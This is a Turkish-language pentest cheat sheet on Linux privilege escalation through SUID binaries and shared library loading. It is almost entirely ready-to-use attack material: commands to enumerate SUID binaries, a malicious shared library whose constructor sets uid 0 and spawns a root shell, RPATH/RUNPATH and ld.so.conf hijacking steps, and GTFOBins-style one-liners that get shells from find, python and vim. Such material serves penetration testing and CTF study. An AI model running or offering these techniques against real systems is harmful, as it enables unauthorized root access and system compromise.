SUID Shared Library and Linker Abuse
linux privesc
SUID bir binary, yüklediği paylaşımlı kütüphaneyi saldırgan kontrolündeyse
yüksek yetkiyle kod çalıştırır. rpath, yazılabilir dizin, eksik .so ve
linker yapılandırması klasik vektörlerdir.
Metodoloji
Section titled “Metodoloji”-
SUID binary’leri ve
ldd/readelfile bağımlılıkları çıkar. -
Yazılabilir path, missing library veya
RUNPATH/RPATHara. -
Sahte
.soyerleştirip SUID binary’yi çalıştır. -
Root shell / credential kanıtını al.
SUID envanteri
Section titled “SUID envanteri”find / -perm -4000 -type f 2>/dev/nullfind / -perm -2000 -type f 2>/dev/nullls -l /usr/local/bin /opt 2>/dev/nullBağımlılık analizi
Section titled “Bağımlılık analizi”ldd /usr/local/bin/vulnreadelf -d /usr/local/bin/vuln | rg -i 'rpath|runpath|needed'strings /usr/local/bin/vuln | rg '\.so'LD_DEBUG=libs /usr/local/bin/vuln 2>&1 | head -n 80Missing library
Section titled “Missing library”ldd: libhidden.so => not found# yazılabilir bir dizin PATH/ld search içindeyse:gcc -shared -fPIC -o libhidden.so evil.c#include <stdio.h>#include <stdlib.h>#include <unistd.h>__attribute__((constructor)) void init(){ setuid(0); setgid(0); system("/bin/sh");}cp libhidden.so /writable/path//usr/local/bin/vulnRPATH / RUNPATH
Section titled “RPATH / RUNPATH”readelf -d /usr/local/bin/vuln | rg pathRUNPATH /opt/app/lib # yazılabilirse .so değiştirls -ld /opt/app/libgcc -shared -fPIC -o /opt/app/lib/libapp.so evil.cld.so.conf abuse
Section titled “ld.so.conf abuse”cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null# yazılabilen conf:echo '/tmp' > /etc/ld.so.conf.d/evil.confldconfigGTFO benzeri SUID
Section titled “GTFO benzeri SUID”# findfind . -exec /bin/sh -p \; -quit# pythonpython3 -c 'import os; os.execl("/bin/sh","sh","-p")'# vimvim -c ':py3 import os; os.execl("/bin/sh","sh","-p")'curl -sL https://gtfobins.github.io/#+suid | headChecklist
Section titled “Checklist”[ ] SUID listesi alındı[ ] ldd/rpath/missing .so incelendi[ ] Yazılabilir library path doğrulandı[ ] Sahte .so ile yükseltme kanıtlandı